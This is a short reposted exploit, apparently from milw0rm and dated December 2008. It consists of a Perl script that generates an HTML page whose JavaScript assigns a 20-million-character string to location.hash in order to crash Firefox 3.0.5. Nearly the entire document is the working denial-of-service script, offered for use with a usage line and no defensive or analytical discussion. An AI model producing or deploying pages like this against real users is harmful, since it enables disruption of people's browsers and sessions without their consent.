Mozilla Firefox 3.0.5 location.hash Remote Crash Exploit

December 23, 2008 – 5:24 PM
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [[email protected]/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n\n";

}

$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" . "\n";
$foot = "</script>" . "\n" . "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit;

Source:
http://www.milw0rm.com/exploits/7554

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